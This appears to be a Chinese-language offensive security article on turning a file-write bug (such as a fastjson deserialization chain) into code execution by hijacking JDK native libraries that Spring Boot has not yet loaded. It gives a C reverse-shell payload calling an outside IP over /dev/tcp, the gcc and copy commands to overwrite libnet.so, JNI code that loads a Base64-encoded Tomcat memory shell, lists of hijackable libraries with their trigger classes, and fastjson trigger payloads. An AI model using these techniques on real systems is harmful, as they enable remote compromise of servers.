0,前言
可以先看传统写文件RCE
https://github.com/kezibei/fastjson_payload/tree/main/docker2
1,System.loadLibrary
https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf
这篇文章描述了如何劫持/tmp目录下的so文件,但并不通用。
研究过程中我发现了更加暴力的劫持java库文件的写文件RCE,也就是System.loadLibrary(),跟进到代码来看,会优先从sys_paths加载so,然后尝试usr_paths。

sys_paths一般只有一个,也就是jdk自己的库文件目录。
在windows中,java net库文件在如下路径
C:Program FilesJavajdk-11.0.11binnet.dll
在linux中,路径如下
/usr/lib/jvm/java-11-openjdk-amd64/lib/libnet.so
在docker中,路径如下
/usr/local/openjdk-11/lib/libnet.so
如果使用arm64架构,路径如下。
/usr/local/jdk8u281/jre/lib/aarch64/libnet.so
如果sys_paths中找不到,还有usr_paths,windows中usr_paths是%PATH%,linux中则是如下目录。
/usr/java/packages/lib
/usr/lib/x86_64-linux-gnu/jni
/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu
/usr/lib/jni
/lib
/usr/lib
劫持charsets.jar时我们知道如果charsets.jar已经被加载过,改动它再进行加载会导致进程崩溃。loadLibrary也是一样的,比如springboot启动时会加载net,启动之后将libnet.so改成弹shell的so。
void payload(void){system("bash -i >& /dev/tcp/192.168.229.131/5667 0>&1 ");}__attribute__ ((__constructor__)) void exec(void){payload();return;}
gcc -shared -fPIC net.c -o net.socp /usr/lib/jvm/java-11-openjdk-amd64/lib/libnet.so libnet.so.bakcp net.so /usr/lib/jvm/java-11-openjdk-amd64/lib/libnet.so
然后实例化sun.net.PortConfig触发它,就会导致崩溃。


因此,必须劫持那些初始没有被springboot加载过的库文件,断点System.loadLibrary(String),看看springboot启动时会大致会加载什么。
windows jdk8
instrument/management/net/nio/tcnative-1
windows jdk11
instrument/net/nio/zip/jimage/sunmscapi/sunec/management/management_ext/tcnative-1/extnet
linux可以直接看/proc/self/maps
cat /proc/6/maps | grep "/usr/local" | grep ".so" | awk '{print $NF}' | sort | uniq
jdk8
/usr/local/openjdk-8/jre/lib/amd64/libjava.so
/usr/local/openjdk-8/jre/lib/amd64/libmanagement.so
/usr/local/openjdk-8/jre/lib/amd64/libnet.so
/usr/local/openjdk-8/jre/lib/amd64/libnio.so
/usr/local/openjdk-8/jre/lib/amd64/libsunec.so
/usr/local/openjdk-8/jre/lib/amd64/libverify.so
/usr/local/openjdk-8/jre/lib/amd64/libzip.so
/usr/local/openjdk-8/jre/lib/amd64/server/libjvm.so
/usr/local/openjdk-8/jre/lib/resources.jar
/usr/local/openjdk-8/lib/amd64/jli/libjli.so
jdk11
/usr/local/openjdk-11/lib/jli/libjli.so
/usr/local/openjdk-11/lib/libextnet.so
/usr/local/openjdk-11/lib/libjava.so
/usr/local/openjdk-11/lib/libjimage.so
/usr/local/openjdk-11/lib/libmanagement.so
/usr/local/openjdk-11/lib/libmanagement_ext.so
/usr/local/openjdk-11/lib/libnet.so
/usr/local/openjdk-11/lib/libnio.so
/usr/local/openjdk-11/lib/libsunec.so
/usr/local/openjdk-11/lib/libverify.so
/usr/local/openjdk-11/lib/libzip.so
/usr/local/openjdk-11/lib/server/libjvm.so
那么哪些库文件不在这些列表中且比较容易触发呢?awt就是一个非常容易触发的so,大部分跟图形化有关的类,比如java.awt和javax.swing都能触发它。而正常的springboot是不用这些类的。
这里用的是JMenuItem,在Toolkit初始化时触发。

成功弹回shell,但会阻塞web。断开shell后web才能正常使用。

在jdk源码中搜索【System.loadLibrary(“】,大部分都在静态代码块,因此loadLibrary都可以靠Class.forName(true)触发且分别只有一次机会。

com.sun.security.auth.module.NTSystem
com.sun.security.auth.module.UnixSystem


看起来可以反复触发loadLibrary。但是一旦触发一次,库文件就会加入jdk.internal.loader.ClassLoaders$AppClassLoader的nativeLibraries中,第二次就不再尝试载入该文件,因此java库劫持均每个库只有一次机会。

总结linux-openjdk11如下
(linux/windows,jdk8/jdk11,oraclejdk/openjdk都有一些区别)
libawt.so
java.awt
javax.swing
libjaas.so
com.sun.security.auth.module.NTSystem
com.sun.security.auth.module.UnixSystem
libcsaproc.so
sun.jvm.hotspot.debugger.bsd.BsdDebuggerLocal
sun.jvm.hotspot.debugger.linux.LinuxDebuggerLocal
sun.jvm.hotspot.debugger.proc.ProcDebuggerLocal
libfontmanager.so
sun.font.FontManagerNativeLibrary
libmanagement_agent.so
jdk.internal.agent.FileSystemImpl
libprefs.so
java.util.prefs.FileSystemPreferences
libjavajpeg.so
sun.awt.image.JPEGImageDecoder
com.sun.imageio.plugins.jpeg.JPEGImageReader
com.sun.imageio.plugins.jpeg.JPEGImageWriter
librmi.so
sun.rmi.transport.GC
libunpack.so
com.sun.java.util.jar.pack.NativeUnpack
libj2pkcs11.so
sun.security.pkcs11.wrapper.PKCS11
libjsound.so
com.sun.media.sound.Platform
libj2pcsc.so
sun.security.smartcardio.PlatformPCSC
libsctp.so
sun.nio.ch.sctp.SctpChannelImpl
sun.nio.ch.sctp.SctpMultiChannelImpl
sun.nio.ch.sctp.SctpServerChannelImpl
libattach.so
sun.tools.attach.VirtualMachineImpl
优点如下
1,jdk8-11适用
2,有多次机会,awt写坏了可以写jaas等等
缺点如下
1,需root权限
2,如果so已经被加载,改写文件并再次加载可能会导致进程崩溃
2,JNI
JPEGImageDecoder的initIDs方法就很合适。

新建类JPEGImageDecoder.java
package sun.awt.image;public class JPEGImageDecoder {public JPEGImageDecoder() throws Exception {}private static native void initIDs(Class<?> clazz);static {System.loadLibrary("javajpeg");initIDs(null);}}
在linux下编译并转成成.h文件
javac -h . JPEGImageDecoder.java
内容大致如下。
/* DO NOT EDIT THIS FILE - it is machine generated *//* Header for class sun_awt_image_JPEGImageDecoder */extern "C" {/** Class: sun_awt_image_JPEGImageDecoder* Method: initIDs* Signature: (Ljava/lang/Class;)V*/JNIEXPORT void JNICALL Java_sun_awt_image_JPEGImageDecoder_initIDs(JNIEnv *, jclass, jclass);}
写JPEGImageDecoder.c,重构initIDs,chatGPT完成。
JNIEXPORT void JNICALL Java_sun_awt_image_JPEGImageDecoder_initIDs(JNIEnv *env, jclass clazz, jclass clazz2) {// Base64 解码的字节码const char* base64Code = "yv66xxxx";// 获取 Base64 解码器的类和 decode 方法jclass base64Class = (*env)->FindClass(env, "java/util/Base64");jmethodID getDecoderMethod = (*env)->GetStaticMethodID(env, base64Class, "getDecoder", "()Ljava/util/Base64$Decoder;");jobject decoder = (*env)->CallStaticObjectMethod(env, base64Class, getDecoderMethod);jclass decoderClass = (*env)->FindClass(env, "java/util/Base64$Decoder");jmethodID decodeMethod = (*env)->GetMethodID(env, decoderClass, "decode", "(Ljava/lang/String;)[B");// 将 Base64 字符串转换为 Java 字符串jstring base64String = (*env)->NewStringUTF(env, base64Code);// 调用 decode 方法进行解码jbyteArray bytecode = (jbyteArray)(*env)->CallObjectMethod(env, decoder, decodeMethod, base64String);// 获取 ClassLoader 并找到 defineClass 方法jclass classLoaderClass = (*env)->FindClass(env, "java/lang/ClassLoader");jmethodID getSystemClassLoaderMethod = (*env)->GetStaticMethodID(env, classLoaderClass, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");jobject systemClassLoader = (*env)->CallStaticObjectMethod(env, classLoaderClass, getSystemClassLoaderMethod);// 获取 defineClass 方法jmethodID defineClassMethod = (*env)->GetMethodID(env, classLoaderClass, "defineClass", "(Ljava/lang/String;[BII)Ljava/lang/Class;");// 定义类名jstring className = (*env)->NewStringUTF(env, "Tomcat678910cmdechoException");// 获取字节码的长度jint bytecodeLength = (*env)->GetArrayLength(env, bytecode);// 调用 defineClass 方法定义类jobject definedClass = (*env)->CallObjectMethod(env, systemClassLoader, defineClassMethod, className, bytecode, 0, bytecodeLength);// 调用 newInstance 来创建类实例jclass definedClassRef = (*env)->GetObjectClass(env, definedClass);jmethodID newInstanceMethod = (*env)->GetMethodID(env, definedClassRef, "newInstance", "()Ljava/lang/Object;");(*env)->CallObjectMethod(env, definedClass, newInstanceMethod);}
将jni.h和jni_md.h依赖拖到一起,gcc编译。
gcc -shared -fpic -I./ -o libjavajpeg.so JPEGImageDecoder.c
实际利用效果如下。
第一步,用反序列化链写入/usr/local/openjdk-11/lib/libjavajpeg.so
第二步,Class.ForName(JPEGImageDecoder)
JPEGImageDecoderSystem.loadLibrary()->JPEGImageDecoderlibjavajpeg.soTomcat678910cmdechoExceptionTomcat678910cmdechoException.class.newInstance()->触发第二次命令执行

这样就能在全程不影响springboot的情况下完成恶意类加载。
更加通用的办法是用__attribute__((constructor)),这样就无所谓initIDs了。但这样没有jvm对象无法加载恶意类,su18在自己的星球中给出了一个获取jvm对象的办法。
3,第三方JNI
Oracle
第三方也有可能触发System.loadLibrary(),在ojdbc中存在oracle.jdbc.xa.client.OracleXADataSource#getXAConnection(),可以触发两种loadLibrary。

OracleXADataSource ds = new OracleXADataSource();ds.setURL("jdbc:oracle:oci:@//127.0.0.1:1521/orcl");ds.setNativeXA(true);ds.getXAConnection();
会触发heteroxa21,21为ojdbc的大版本号,比如我这里用的是ojdbc8-21.4.0.0.1.jar,就会loadLibrary(“heteroxa21”)

另外一种是ocijdbc21
OracleXADataSource ds = new OracleXADataSource();ds.setURL("jdbc:oracle:oci:@//127.0.0.1:1521/orcl");//ds.setNativeXA(true);ds.getXAConnection();

4,linux so
{"@type": "java.net.Inet4Address", "val": "x.com"}
会加载
/lib/x86_64-linux-gnu/libnss_dns.so.2
/lib/x86_64-linux-gnu/libresolv.so.2
当然,dns实战中很有可能已经被提前触发。

{"@type": "java.awt.Font","name": "Serif","style": 1,"size": 24}
/usr/lib/x86_64-linux-gnu/libpng16.so.16
/usr/lib/x86_64-linux-gnu/libfreetype.so.6
/usr/local/openjdk-11/lib/libawt.so
/usr/local/openjdk-11/lib/libawt_headless.so
/usr/local/openjdk-11/lib/libfontmanager.so
{"@type":"java.awt.Rectangle"}
/usr/local/openjdk-11/lib/libawt.so
/usr/local/openjdk-11/lib/libawt_headless.so
{"@type":"java.awt.Color"}
/usr/local/openjdk-11/lib/libawt.so
/usr/local/openjdk-11/lib/libawt_headless.so
/usr/local/openjdk-11/lib/liblcms.so
发挥你的想象力,还有可能存在很多jdk/linux的so以供劫持。
对应的,还有触发加载so的方法,这些方法具体有哪些呢?请期待so加载篇。
本篇文章来源于微信公众号: 珂技知识分享